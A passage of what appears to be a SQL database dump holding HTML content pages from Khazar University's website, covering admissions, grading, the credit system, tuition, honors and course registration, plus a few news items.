prosesi sona çatdı...','<p>2016-cı il iyunun 14-də\r\n2016-2017-ci tədris ili üçün beynəlxalq qəbulun seçim prosesi sona çatdı. Seçim\r\nprosesinin nəticələri bütün namizədlərə email vasitəsilə bildirildi.</p>\r\n<p>Xəzər Universitetində\r\nseçim prosesi üç (3) mərhələdən: ərizələrə ilkin baxış, onların nəzərdən\r\nkeçirilməsi və yarı finalçıların müsahibəsindən ibarətdir və hər fakültə tərəfindən\r\nyaradılmış seçki komitələri tərəfindən həyata keçirilir.</p>\r\n<p>Dünyanın hər yerindən\r\nbir çox namizədlər Xəzər Universiteti və onun təklif etdiyi Beynəlxalq Təqaüd\r\nProqramına böyük maraq göstərdi. Bunun nəticəsi olaraq universitetə 50-ə yaxın\r\nölkədən 600-dan çox ərizə daxil oldu. Beynəlxalq qəbulun elan olunduğu gündən\r\nson müraciət tarixinə qədər, qəbul şərtləri haqqında ətraflı məlumat vebsaytda\r\nmövcud idi və maraqlanan namizədlərə müxtəlif kommunikasiya kanalları vasitəsilə\r\nbildirilirdi. Buna baxmayaraq, tələb olunan sənədlərdən bir qismi olmayan bütün\r\nərizələrin 30%-i həcmində olan digər ərizələr ilkin seçim prosesi olan ərizələrə\r\nbaxış mərhələsinə keçmədi. </p>\r\n<p>Əvvəlki illərdə olduğu\r\nkimi, universitetə böyük həcmdə yüksək rəqabətli ərizələr daxil oldu. Seçki\r\nkomitəsi üçün bir çox güclü namizəd arasından ən yaxşıları seçmək kifayət qədər\r\nçətin bir tapşırıq idi. Bir sıra namizədlər tam təqaüd qazandılar. Namizədlərin\r\nmarağını və güclü ərizələrin sayını nəzərə alaraq, seçki komitəsi məhdud sayda\r\ngüzəştli təqaüdlər də təklfi etdi. </p>\r\n<p>Biz Xəzər Universitetinə\r\ngöstərdikləri marağa və ərizə formaları üzərində sərf etdikləri vaxta görə\r\nbütün namizədlərə təşəkkürümüzü bildiririk. 2016-2017-ci tədris ilində yeni əcnəbi\r\ntələbələri universitetdə görməyi səbirsizliklə gözləyirik.</p>\r\n<p>&nbsp;</p>'),(148,156,'en','Classification of Undergraduate Students','Classification of Undergraduate Students','<p>In a bachelor’s degree program students are classified according to the number of credits earned. The classification is shown in the table below:</p><p></p><ul><li><strong>Freshman:&nbsp;</strong>a student who has earned less than ¼ of total credits required to complete the program.</li></ul><p></p><p>E.g. In a 128 (132) credit bachelor’s program, it is a student who has earned less than 32 (33) credits.</p><p></p><ul><li><strong>Sophomore:&nbsp;</strong>a student who has earned less than ½ but more than or equal to ¼ of the total credits required to complete the program.</li></ul><p></p><p>E.g. In a 128 (132) credit bachelor’s program, it is a student who has earned 32 (33) or more credits, but less than 64 (66) credits.</p><p></p><ul><li><strong>Junior:</strong>&nbsp;a student who has earned less than ¾ but more than or equal to ½ of the total credits required to complete the program.</li></ul><p></p><p>E.g. In a 128 (132) credit bachelor’s program, it is a student who has earned 64 (66) or more credits, but less than 96 (99) credits.</p><p></p><ul><li><strong>Senior:&nbsp;</strong>a student who has earned ¾ or more of the total credits required to complete the program.</li></ul><p></p><p>E.g. In a 128 (132) credit bachelor’s program, it is a student who has earned 96 (99) or more credits.  </p>'),(149,157,'en','Combination Undergraduate/ Graduate Programs','Combination Undergraduate/ Graduate Programs','<p>Khazar University offers several combination undergraduate/graduate programs, such as bachelor/master and master/PhD programs. The students can also study for double major awards.</p><p><strong>Combination Bachelor/Master and Master/PhD Programs</strong></p><p>Some undergraduate majors allow the students to enter into joint BS/MS, BA/MA and/or BS/MA and BA/MS degree programs. An undergraduate student attending master’s degree courses or taking part in a research project is considered to be an undergraduate student until he/she completes his/her bachelor’s degree requirements. To complete his/her BS/BA degree requirements a senior undergraduate student may take appropriate graduate level courses with the permission of the relevant department and school.</p><p>Students holding a bachelor’s or professional degree(s), and with high standing may apply for a joint master/PhD program. Within the framework of this program, the main goal is to complete the PhD degree requirements. However, during the first stage of their studies, students must meet master degree requirements.</p><p><strong>Second Undergraduate Degrees</strong></p><p>Two undergraduate degrees may be conferred if a student satisfies both major and major-related requirements within two departments or Schools. If the double major is pursued in two Schools, the student must designate in which School he or she will be registered and from which he/she will graduate first when declaring the two majors. In order to be eligible for the second bachelor\'s degree, the student must apply for admission to the second degree program no earlier than the end of his/her second year and no later than the end of his/her third year. Exceptional cases may be considered for the approval of the relevant School and/or department. Upon completion of all requirements for the first program and the award of the first degree, the student\'s status will be changed to the second program. The student must again apply for graduation to be granted the second degree.</p>'),(150,158,'en','General Education Requirements (GER)','General Education Requirements (GER)','<p>The purpose of the GER is to give students an understanding of the multiple realities of a culturally diverse and increasingly complex world from the viewpoint of different areas of human knowledge. The GER consists primarily of areas of knowledge that differ from the student\'s major field. The GER helps students to become educated members of society and to develop intellectual breadth and cultural well-being.</p><p>Regardless of their major, students must finish the GER in their freshman and sophomore years. Students must complete three components of the General Education Program for 21 credits:</p><ul><li><strong>Humanities&nbsp;</strong>–  6 credits</li><li><strong>Social Sciences&nbsp;</strong>–  6 credits</li><li><strong>Science and Technology&nbsp;</strong>–  9 credits</li></ul><p><strong>The Humanities</strong>&nbsp;division of the program includes particular courses in&nbsp;<em>Literature, Language and Linguistics, Philosophy, History, Culture and Civilization, Fine Arts and Art History.&nbsp;</em>Students must take at least two courses with a minimum of 6 credits.</p><p><strong>The Social Sciences</strong>&nbsp;group contains courses in<em>&nbsp;Geography, Political Science, International Relations, Law and Government, Anthropology, Economics, Sociology and Psychology.&nbsp;</em>Students must take at least two courses with a minimum of 6 credits.</p><p><strong>The Science and Technology</strong>&nbsp;component of the General Education Program unites three divisions:</p><ul><li><em>Physical Sciences and Mathematics</em></li><li><em>Life Sciences</em></li><li><em></em><em>Computer Sciences</em></li></ul><p>and contains, for example,&nbsp;<em>Mathematics, Computer Science, Physics, Chemistry, Astronomy, Geography and Environmental Studies, Geology, Biological Sciences and Anthropology, Public Health, Medical Science</em>.</p><p>Students must complete at least three courses, at least one from each subgroup, for a minimum of 9 credits.</p><p>Some of the fields of study may be included in different divisions according to the content of courses or applied methods. For example, courses in Anthropology, Geography and Psychology are included in the Social Sciences division, but at the same time, may also relate to the Natural Sciences.</p><p>A student majoring in one of the GER divisions (<strong><em>Humanities, Social Sciences, Science and Technology</em></strong>), may take one major course in a corresponding division to meet GER. Courses required to satisfy the Major Requirements ordinarily may not be used to complete the required 21 credits for GER, although some of the university schools may have a few exceptions. The individual schools and departments of Khazar University outline the numbered academic disciplines from which students may select courses to fulfill their General Education program.</p><p>Some degree programs require additional work in the three areas mentioned above, or require the student to take specific courses to fulfill the GER.</p><p>Apart from these, students can take two&nbsp;<strong>Open Elective</strong>&nbsp;courses - additional courses chosen freely from any division of the curricula - without any restriction. The credit value of these two open electives must be at least 6 credits.</p>'),(151,159,'en','Grading Policies at Khazar University','Grading Policies at Khazar University','<p>For undergraduate programs, courses are graded as follows (in percentages on examinations and with equivalent letter grades):</p><ul><li>“90-100” percent which is equal to “A” (excellent)</li><li>“80-89” percent which is equal to “B” (good)</li><li>“70-79” percent which is equal to “C” (average or satisfactory)</li><li>“60-69” percent which is equal to “D” (low pass or below average)&nbsp;</li><li>“0-59” percent which is equal to “F” (failure, i.e. no credit will be recorded for the course)</li><li>“IC” (Incomplete). This grade applies only to those students who were unable to complete their coursework due to sickness or another emergency situation, or who have accumulated 57-59 percent. In this case, with the permission of the dean of the relevant school, students are given additional time to complete their coursework and re-sit the exam, but must make a partial payment for that course. In the case of a second failure in the exam, their grade is changed to “F.”</li><li>“IP” (In Progress). A course that extends to two or more semesters is graded with “IP” until the specified period for its completion has expired. The grade is changed to “F” if the requirements for the course are not fulfilled during the specified period or “IC” if the requirements for this grade are met.</li></ul><p>Every undergraduate student is expected to maintain an average percentage of 70 or more to remain in good academic standing. Graduate students are correspondingly expected to maintain a percentage of 75 or more for master’s and professional degree programs, and 80 or more for PhD degree programs, to remain in a good academic standing.</p><p>For master\'s and professional degree programs, the letter grade D+, specifically, “65-69”, is for low pass and “0-64” percent is equal to F in this case. PhD degree programs do not permit low pass grades, which means that 0-69 is equal to F, and no credit will be recorded for the course.</p><p>The assignment of a grade for a student\'s work in a course is primarily the prerogative of the instructor. Students who require final credits to complete degree requirements at the end of the spring semester may be able to satisfy the deficiency during the subsequent summer session.</p><p>A student\'s grade-point average (G.P.A.) is obtained by dividing the total number of grade points (grade point x credit hours for each course, adding all course totals together) by the total number of credit hours of enrollment.&nbsp;</p><p><strong>Example</strong>:</p><p>A student receives the following grades:</p><p> &nbsp; &nbsp; &nbsp; &nbsp;   Mathematics (4 credit hours) -- 82</p><p> &nbsp; &nbsp; &nbsp; &nbsp;   English (3 credit hours) -- 95</p><p>Then,</p><p>G.P.A. = (4 · 82 + 3 · 95) : 7 = 87.57&nbsp;≈ 88  </p><p>G.P.A. = 88</p><p>The G.P.A. is rounded to the nearest whole number. Undergraduate students must retake a course, or its equivalent, in which a grade of “F” (less than 60) was received. If the student’s grade is “IC”, s/he must either re-sit the exam (upon his/her own wish) or re-take the course.&nbsp; Correspondingly, students in master’s and professional degree programs must retake a course in which grade of less than 65 was received. Similarly, for PhD students a course with a grade of less than 70 must be retaken. A course graded with “F” or “IC” or “IP” will not be considered when calculating the student’s G.P.A.; however, in the case of “F” and “IC”, a student must retake and pass this course. In the case of “IP”, a student must pass the course before the specified period of time. To improve his/her grade-point average, an undergraduate student may repeat only those courses in which he/she receives grade of “D” (a grade 60-69). A student may not retake a course in which a grade of “C”, “B” or “A” was received (a grade greater than or equal to 70). Only courses taken at Khazar University are considered for a change in the course grade. It is the student\'s responsibility to bring any error in grades to the attention of the instructor and any error in G.P.A. to the attention of the Dean of the School or the Registration and Records Office.</p><p>For more information about examination and evaluation rules, please see Khazar University “Examination and Evaluation Guidelines”.<br></p>'),(1994,1215,'en','Khazar University to Cooperate with the Polytechnic Institute of Bragança (IPB - Instituto Politécnico de Bragança)','On June 9, 2016, a meeting with the representatives of the Polytechnic Institute of Bragança was held on the Neftchiler...','<p><em>&nbsp;On June 9,\r\n2016, a meeting with the representatives of the </em>Polytechnic Institute of&nbsp;<em>Bragança</em> was held on the Neftchiler campus of Khazar\r\nUniversity.</p>\r\n<p>&nbsp;</p>\r\n<p>The Polytechnic Institute of&nbsp;<em>Bragança</em>&nbsp;(IPB - <em>Instituto Politécnico</em>&nbsp;de&nbsp;<em>Bragança)\r\n</em>is a Portuguese University of Applied Sciences. At the meeting, the\r\nInstitute was represented by Dr. Simão Pinho, a professor in chemical\r\nengineering and a permanent member of the State Associate Laboratory at the\r\nUniversity of Porto (Portugal) and Dr. Paula Odete Fernandes from the Department\r\nof Economics and Management and School of Technology and Management of IPB.</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p>Khazar University was represented by\r\nDr. Hassan Niknafs, President &nbsp;of Khazar\r\nUniversity, Prof. Mahammad Nuriyev, Vice-rector for Academic Affairs, Raziya\r\nIsayeva, Development Director, Lyudmila Sotova, Head of Quality Assurance\r\nCenter, and Turan Jafarova, Director of International Affairs Office. <strong></strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p>The main goals of the meeting were\r\nto explore academic and scientific partnership opportunities, discuss\r\ncooperation within Erasmus Plus program and development of double degree\r\nprograms.<strong></strong></p>\r\n<p><strong>&nbsp;</strong></p>'),(152,160,'en','Major Requirements (MR)','Major Requirements (MR)','<p>At Khazar University students can select from a variety of majors in the fields of:</p><ul><li><strong><a href=\"http://www.khazar.org/en/menus/47/school_of_engineering_and_applied_sciences\">Engineering and Applied Sciences</a></strong></li><li><strong><a href=\"http://www.khazar.org/en/menus/54/school_of_economics_and_management\">Economics and Management</a></strong></li><li><strong><a href=\"http://www.khazar.org/en/menus/56/school_of_humanities_and_social_sciences\">Humanities and Social Sciences</a></strong></li><li><strong><a href=\"http://www.khazar.org/en/menus/55/school_of_education\">Education</a></strong></li></ul><p>Majors consist of courses focused on a particular academic field. Undergraduate students must earn at least a 70 G.P.A. in their Major Course Requirements. Most majors require course sequences starting in the freshman year.</p><p>Master’s and professional degree programs require at least a 75 G.P.A., and PhD degree programs require at least 80 G.P.A. in their Major Course Requirements. In all graduate programs at Khazar University, research is strongly emphasized.</p><p>Khazar University majors, areas of concentration, minors, and interdepartmental programs are designed to enable every student to study at least one field in depth.</p><p>The Catalog provides a list of academic departments, schools, research centers and institutes responsible for the Major Programs available at Khazar.</p>'),(153,161,'en','The Credit System at Khazar University','The Credit System at Khazar University','<p>At Khazar University, students must study and pass a number of courses to obtain a degree: for example, a minimum of 40 courses are required for the degree of Bachelor. Each course is worth a number of credits and most courses at Khazar are worth at least three credits. Credits are only awarded after the course has been successfully completed. Credits are sometimes referred to by other names, for example “credit hours” or “units,” and in some cases the credit hours are close to the number of academic hours spent in class each week. In other cases, for example, in laboratory classes, one credit hour is equal to 80 or 90 minutes spent in class each week. In general, credit hours reflect the contact hours and workload of a course.</p><p>The four-year Bachelor\'s degree at Khazar University requires the successful completion of between 128 and 140 credits and a minimum of 40 undergraduate level semester courses depending on the individual school and the major in a chosen field of study.</p><p>Candidates for the Master\'s degree holding a Bachelor\'s degree must take between 32 and 60 credits, involving a minimum of 7 graduate-accredited courses, and sometimes including a thesis beyond the Bachelor\'s.</p><p>A candidate with a Master\'s Degree admitted to the PhD program is required to take at least additional 7 courses (32-60 credits) including a dissertation, although more credits and courses may be required to satisfy the particular aims of the student and the student\'s advisor.</p><p>Students may earn credits mainly during the Fall and Spring semesters, and register for at most 19 credits per semester. A full-time student is required to take at least 12 credits per semester; otherwise, s/he will be classified as a part-time student. Courses taken for the Summer Session and a few courses from the Khazar Extension Program may qualify for credits with the approval of the Department and Dean. During the Summer Sessions a student may register for at most 10 credits.</p><p>In some cases, credits can be earned through good performance in placement examinations administered by Khazar University’s academic departments.</p><p>The credit accumulation model is a student-centered system based on prioritization of individual study trajectories of each student. In accordance with the European Credit Transfer System (ECTS), one Khazar University credit equals two European Credits. ECTS is one of the key objectives of the 1999 Bologna Declaration, which aimed at the creation of a common European Higher Education Area, and Azerbaijan joined the process in Spring 2005.&nbsp;</p>'),(154,162,'en','University Requirements (UR)','University Requirements (UR)','<p>Khazar has two University-wide requirements, which must be satisfied for the awarding of a bachelor’s degree. Students will complete the following UR courses of 27 credits:&nbsp;<br></p><p><strong>Advanced English&nbsp;</strong>includes 15 semester credits of:</p><ul><li>Reading/Listening&nbsp;1 –  3 credits</li><li>Writing/Speaking 1 –  3 credits</li><li>Reading/Listening 2 –  3 credits</li><li>Writing/Speaking 2 –  3 credits</li><li>English for Special Purposes –  3 credits</li></ul><p>The English courses must be completed during the first two years and it is recommended that they are concluded within three semesters of study at Khazar. Students who perform exceptionally well on an appropriate placement test may be permitted to take more advanced courses in English.</p><p><strong>Azerbaijani Studies&nbsp;</strong>includes 12 semester credits of:</p><ul><li>Azerbaijani (Azeri) Language and Composition (3 credits</li><li>Azerbaijani Literature –  3 credits</li><li>Azerbaijani Culture –  3 credits</li><li>History of Azerbaijan –  3 credits</li></ul><p><strong>The Azerbaijani Studies</strong>&nbsp;component includes a one-year sequential course (6 credits: 3+3) in&nbsp;<em>Azerbaijani Language and Azerbaijani Literature</em>&nbsp;(AZLL). Students must demonstrate competence in writing, reading and speaking. AZLL should be completed preferably during the first year of study at Khazar. If a student\'s native language is not Azerbaijani, prior to beginning he/she is required to take the&nbsp;<em>Elementary Azerbaijani Language and Composition</em>&nbsp;course, especially designed for international students.</p><p>Students are placed in the appropriate English and AZLL courses based on the results of their admission or placement tests.</p><p><em>Azerbaijani Culture</em>&nbsp;is an elective course and students may choose available theoretical courses on Azerbaijani Culture. Students may also practice through attending cultural activities conducted by the Department of Music and Fine Arts (e.g. dance ensemble, chorus, folk music, vocal, national costume design, carpet making, jewelry art, etc.) and earn credits.</p><p><em>Azerbaijani History</em>&nbsp;focuses on the main periods of the history of Azerbaijan from Ancient to modern times.&nbsp;</p>'),(155,163,'en','Acceleration of Study','Acceleration of Study','<p>Acceleration is made possible by different options:&nbsp;</p><ul><li>Participation in summer sessions</li><li>Taking extra courses during the academic year with the approval of the Dean of School</li><li>Earning credit by passing the Advanced Placement Test</li></ul><p>Khazar may also grant credit by examination (with a fee) to a student for his/her previous experience or a previously learned course which is equivalent to a specific course offered by the school. Credit by examination may be granted only for a course listed in the Khazar University Catalog or its equivalent and only to students in good standing.</p><p>Senior students in their final semester or summer session may enroll on a graduate course and reserve that course for a credit toward a graduate degree with the approval of the Dean of the student\'s undergraduate school and the student\'s graduate adviser in the proposed graduate major area.</p>'),(156,164,'en','Honors Programs','Honors Programs','<p>Khazar Honors Programs offer special honors options to qualified students. Honors work is offered at all levels and in all departments. Honors courses have limited enrollment and are reserved for the most successful and motivated students.</p><p>The programs are characterized by small seminars, individual attention from faculty and extra access to resources in conjunction with participation in university and community research and general meetings. Early honors work gives students a broad base of knowledge, skills, and understanding, which serves as a foundation for increasingly specialized upper-level honors work.</p><p>The Honors Programs require successful fulfillment of all the types of requirements (UR, GER, and MR) with honors options added for the advanced honors course work in the major and related areas and special honors projects.</p>'),(2509,1515,'en','Masterclass for Students ','On October 31, 2016, Khazar University Alumni Association and Khazar University Center for Alumni Relations held a masterclass for third- and fourth-year bachelor’s students on...','<p>On October 31, 2016, Khazar University Alumni\r\nAssociation and Khazar University Center for Alumni Relations held a\r\nmasterclass for third- and fourth-year bachelor’s students on “Ways to Build a\r\nSuccessful Career.” Baba Bayramli, Director of the Center for Alumni Relations,\r\ngreeted the participants and emphasized the importance of this masterclass\r\nseries which is organized for students. Eldar Hamidov, Vice Chair of the\r\nExecutive Board of Bank of Baku and the President of the Alumni Association,\r\nspoke about his own career experience and gave the students useful advice. </p>\r\n<p>A presentation was also made by employees of the\r\nFireworks HRM Company run by Khazar University alumna Laura Hamidova. </p>\r\n<p>Local and international students participated in the\r\ninteractive presentation.&nbsp;</p>'),(157,165,'en','Graduation with Honors','Graduation with Honors','<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Graduation from Khazar University with\r\nhonors is based on the cumulative G.P.A. of all grades earned by the graduate.</p>\r\n<p>There are three kinds of graduation\r\nhonors for undergraduate students at Khazar:</p>\r\n<p></p><ul><li>The diplomas of students, whose\r\ncumulative grade-point average is between 85 and 90 inclusive at graduation are\r\ninscribed&nbsp;<strong>“With Honors”&nbsp;</strong><em>(cum laude)</em></li><li>If G.P.A. lies between 91 and 95\r\ninclusive, the phrase reads&nbsp;<strong>“With High Honors”&nbsp;</strong><em>(magna cum\r\nlaude)</em></li><li>Students earning a cumulative G.P.A.\r\nof 96 or better are designated as graduating&nbsp;<strong>“With Highest\r\nHonors”</strong><em>(summa cum laude)</em></li></ul><p></p>\r\n<p>For master\'s students, an&nbsp;<strong>\"Honor\"</strong>&nbsp;diploma is granted to a students whose G.P.A. is equal to or\r\nabove 90.</p>\r\n<p>Graduation with honors does not apply\r\nto doctoral students.</p>'),(158,166,'en','Dean\'s Honor List','Dean\'s Honor List','<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">At the end of each semester, the\r\noffice of each Dean compiles an Honors List of students whose work during the\r\nsemester was generally outstanding. The Dean\'s List specifically includes those\r\nstudents whose G.P.A. for the semester was 85 or better while registered for\r\ntwelve or more semester hours of the course work. A grade of “F” or “IC” in any\r\ncourse makes the student ineligible for the Dean\'s Honor List regardless of\r\nother grades.</p>'),(159,167,'en','Evaluation','Evaluation','<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Students are evaluated on the basis of\r\ntheir academic performance during the semester. Assignment of a grade for a\r\nstudent\'s work in a course is primarily the prerogative of the instructor after\r\nconsultation with the Dean. Besides the final examination, different components\r\ncould be used for the grade composition: attendance and participation,\r\nindividual and group assignments, projects, discussions and presentations,\r\nlabs, written papers, essays, practical and oral examinations, theses and\r\ndissertations for advanced degrees, etc.</p>\r\n<p>If a student fails a course he/she\r\ncannot take a second examination until the course or its equivalent is retaken.\r\nStudents who receive “incomplete” grades are an exception to this rule.\r\nStudents who fail with a grade between 57-59 may re-sit the exam upon request\r\nand must pay additional fee for re-sitting the exam.</p>\r\n<p>All in-class examinations must be\r\ntaken and all take-home assignments collected, completed, and submitted at the\r\ntime and places designated on the official schedule published by the\r\nRegistration and Record Office. Exceptions to this schedule are made only in\r\nserious cases, including for emergency reasons, and generally only with the\r\nprior approval of the Dean of the School. If a student is absent for a good\r\nreason from a final exam he/she must apply to the School\'s Dean to earn the\r\ncourse special examination privileges.</p>\r\n<p>An evaluation of each student\'s progress\r\nis made by the Registration and Record Office after each semester. In addition\r\nto the cumulative grade-point average, this evaluation considers completion of\r\nall university requirements and the ratio of courses satisfactory completed to\r\nall courses attempted by the student. Students who are not making satisfactory\r\nprogress are informed of the result of their evaluation.</p>\r\n<p>For more information about examination\r\nand evaluation rules, please see Khazar University “Examination and Evaluation\r\nGuidelines”.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">&nbsp;</p>'),(160,168,'en','Access to Students\' Academic Records','Access to Students\' Academic Records','<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Information about a University student\r\nmay not be released to a third party without the student\'s permission.\r\nExceptions are Law Enforcement and Financial Aid Institutions. The policy\r\nallows the students to review their academic records and to challenge the\r\ncontents of those records. Some information about the student is considered\r\npublic or directory information, for example, name, enrollment dates and\r\nstatus, school and class, major, advisor, academic awards and honors received,\r\nand degrees earned. Students may prevent the release of public information by\r\ncontacting the&nbsp;<a href=\"http://www.khazar.org/en/menus/875/registration_and_record_office\">Registration\r\nand Records Office.</a></p>'),(161,169,'en','International Affairs Office','International Affairs Office','<p><span style=\"color:#0000ff\"><strong style=\"color:#000000\"><br></strong></span></p><p><span style=\"color:#0000ff\"><strong style=\"color:#000000\">Welcome to the International Affairs Office!</strong></span></p><p><span style=\"color:#0000ff\"><strong></strong></span>On this page you will find information about our mission, services, international partnerships, exchange programs, study and research opportunities and much more!<br></p><p><img src=\"/files/image/thumbnail_14_12_10_new_facebook.jpg\" width=\"20\" height=\"20\" style=\"border:0px  #000000;width:30px;height:30px;margin-right:7px;float:left\">Follow us on Facebook: <a href=\"https://www.facebook.com/KhazarInternationalOffice\" target=\"_blank\">Khazar University International Office</a></p><div><br></div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><img src=\"/files/14_12_09_international_cover.jpg\" style=\"border:0px #000000;width:600px;height:264px;margin:7px;vertical-align:middle\"><br></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></p>'),(162,170,'en','Admission Process and Requirements','Admission Process and Requirements','<p>Khazar welcomes applications from all qualified students regardless of race, national or ethnic origin, gender, religion, handicap, political or cultural background.</p><p>Admission is a selective process and meeting the minimum standards will not necessarily guarantee acceptance.</p><p>The admission process depends upon a student\'s educational background.</p><p>A graduate of an accredited secondary school will be considered as pre-freshman.</p><p>Applicants must select their school and select even their major in some schools at the time they fill out Khazar Application Form for admission.</p><p>Thus, Freshman students should be enrolled in a specific school of Khazar University.</p><p>At the same time, if a student is not certain of his/her field of study, he/she may apply for changing the school or the major.</p><p>Changing student\'s School or major requires the approval of the School or Department student wants to attend.</p><p>Applications for admission are generally accepted for any of the Fall and Spring semesters at the end of the previous semester, although some schools or departments may limit the admission only to the Fall semester.</p><p>Usually, unless otherwise specified, application deadlines are September 10 for the Fall semester and February 10 for the Spring semester.</p><p>There are no final deadlines (unless specified in a particular subject session) to apply for the graduate study.</p><p>Generally, admission to advance degree program is effective at the end of the Fall and Spring semesters.</p><p>An applicant should provide full documentary evidence of the courses he/she has taken for the previous degree with marks or grades.</p><p>&nbsp;</p><p>All applicants are required to:&nbsp;</p><ul><li>complete and submit the official Khazar Application Form together with a non-refundable application fee</li></ul><ul><li>enclose a copy of their previous diplomas, transcripts and test scores</li></ul><ul><li>submit state entrance examination score regardless of their previous class rank (applies to Azerbaijani citizens only)</li></ul><p>In some cases applicants can be asked to complete a special Department or School application form.</p><p>For details of admission of international students, please contact the International Students and Scholars Center.</p><p>It is essential that applicants, whose native language is not English should have obtained a sufficient competence in English.</p><p>Pre-freshmen and candidates for graduate degree program with English difficulties must take special non-credit English course.</p><p>Khazar University is one of the finest universities in Azerbaijan.</p><p>The university draws students from all over Azerbaijan and all over the world.</p><p>Starting from this year, the university&nbsp;welcomes IB students on the basis of successful completion of the IB diploma.</p><p>It is the first university in Azerbaijan to accept applications from IB students.</p><p>The admission process depends on the educational background of the students.</p><p>The students with the highest scores are admitted without any condition, but other students will be accepted after a short interview.</p>'),(163,171,'en','Special students','Special students','<p>Special (non-regular) students are the individuals who enroll in one or more non-degree courses.&nbsp;They are permitted to take examinations and receive academic credits.&nbsp;These students are charged a special tuition fee for the courses taken.&nbsp;They may request a certificate confirming successful completion of the course(s).&nbsp;The relevant dean’s office as well as the Admission Office must approve admission of special students to specific courses.</p>'),(164,172,'en','Re-admission','Re-admission','<p>A student whose studies at the university are interrupted for any reason for a period of one semester or more (excluding summer sessions) must submit a formal Application for Re-admission and a re-application fee – equivalent of 50 AZN (New Azerbaijani Manat).</p><p>Re-admission takes place at the end of the previous or beginning of the current semester.</p><p>All re-admissions must be approved by the relevant dean’s office.</p><p>Students who were in good standing when they left the university are virtually assured of re-admission.</p><p>A student who is re-admitted is subject to the academic requirements and regulations in effect at the time of re-admission.</p>'),(165,173,'en','Transfer Admission Requirements','Transfer Admission Requirements','<p>Transfer applicants should be in good academic and social standing at the school previously attended.</p><p>Khazar University requires all transfer applicants whose first language is not English, regardless of citizenship, to take an English proficiency examination.</p><p>Applicants may submit their TOEFL score, or have to take the English Language Institutional Placement Test of Khazar University.</p><p>Transfer students entering undergraduate programs of Khazar, including those from other countries, should submit official transcripts accompanied by a certified English translation from all secondary schools and post-secondary institutions attended.</p><p>All documents must show coursework and examinations taken, indicate grades received, identify passing and maximum marks, and show evidence of secondary school graduation.</p><p>Certified copies and certified English translations of all academic achievements in each college or university attended are required in order to complete an Application for Graduate Studies at Khazar University.</p><p>The credits given by the accredited institutions will count toward the total number required for graduation.</p><p>Some students should pass additional examination before the credits consideration.</p><p>Transfer students must satisfy all degree requirements. The fee for transfer admission is equivalent of 50 AZN.</p><p>Transfer students must complete at least one half of the credits required for their major at the relevant school at Khazar University.</p><p>In special cases, relevant departments and/or schools of Khazar University may apply a different policy.</p><p>Students who are enrolled at Khazar University but plan to graduate from another university are responsible for approval of the credits earned at Khazar University.</p><p>A limited number of appointments to teaching fellowships and assistantships are available for qualified students.</p><p>Students who study abroad in accredited universities will submit the credits to get their degree from Khazar.</p><p>At Khazar University students can change their major and/or transfer from one school of Khazar to another.</p><p>A student wishing to transfer from one school to another must obtain an interschool transfer approval from the Office of the Dean of both schools, and should ask the Admission Office to start internal transfer procedures.&nbsp;</p>'),(166,174,'en','Tuition and Other Expenses','Tuition and Other Expenses','<p>The contract signed between Khazar University and the student defines that students are required to pay for their tuition.&nbsp;Khazar reserves the right to change the tuition fees from year to year.&nbsp;Information on rates is available from the <strong><a href=\"http://www.khazar.org/en/menus/1246/qebul_ve_telebe_shobesi\">Admission Office</a></strong>.</p><p>The annual tuition fee varies from school to school and from the number of registered credits.&nbsp;The tuition fee should be paid by a one-time payment at the beginning of the academic year.</p><p>&nbsp;In the case of the contract between the University and a student being interrupted, the paid tuition would be returned as follows:&nbsp;</p><br><ul><li>80% of initial sum during the first two weeks after the first day of classes&nbsp;</li><li>60% of initial sum during the third week after the deadline&nbsp;</li><li>40% of initial sum during the fourth week after the deadline&nbsp;</li><li>20% of initial sum during the fifth week after the deadline&nbsp;</li></ul><br><p>After five weeks none of the paid tuition can be returned.</p><p>If a student has been admitted to a program but has not started his/her studies, the contract between him/her and the University is interrupted.</p><p>In case of interruption, 80% of the paid tuition fee is returned to the student.</p><p><br></p><p>Some other expenses students are required to pay can be charged in the following cases:&nbsp;<br></p><br><ul><li>Non-refundable Admission Fee (for new resident students) - equivalent of 50 AZN for local students, equivalent of 150 AZN for international students;&nbsp;</li><li>Non-refundable Re-admission Fee (for students after at least a one-semester interruption of study) - equivalent of 50 AZN;&nbsp;</li><li>Non-refundable Transfer Admission Fee – 50 AZN;&nbsp;</li><li>Transcript or Grade List Fee (per copy) - equivalent of 5 AZN.&nbsp;</li></ul><br><p>Khazar University Schools may also charge special fees for certain courses, services or use of specialized equipment.</p><p>For the information on living expenses contact the International Students and Scholars Center.</p><p>No student may withdraw in good standing from the University or graduate from the University unless all current obligations to the University are paid in full.</p>'),(167,175,'en','Schedule of Classes','Schedule of Classes','<p>Within the semester system and the provision of a special summer session, Khazar schools develop a class schedule that is available on campus prior to registration.</p><p>Each schedule lists the classes that will be offered during the semester, the times, locations, number of credit hours, and the instructors.</p><p>The University reserves the right to cancel courses for which registration is not sufficient.</p>'),(168,176,'en','Course Registration','Course Registration','<p>Students should register in person for the courses they are going to take during the coming semester.</p><p>Before the first day of registration, the course schedule (the courses, class hours, and classrooms for each semester) must be published.</p><p>Registration is administered by the Registration and Records Office in cooperation with the Offices of the Deans of School on the dates specified in the Academic Calendar.</p><p>The procedure of registration is considered complete after students have paid the required tuition payment.</p><p>All changes in registration must be reported to the Registration and Records Office.</p><p>A course is considered dropped when a drop card is completed and returned to the Registration and Records Office.</p><p>A student may not add a course or withdraw from the course after the first week of classes.</p><p>Any exceptions can be permitted only with the approval of the Dean of the relevant School.</p><p>Failure to drop a course within the time allowed is regarded as failure in the course and recorded with a grade of F.</p><p>A student can be dropped from a course for non-attendance. Permission of the Dean of relevant School is required for specific regulations.</p><p>The maximum credits to be covered by full charges for undergraduate 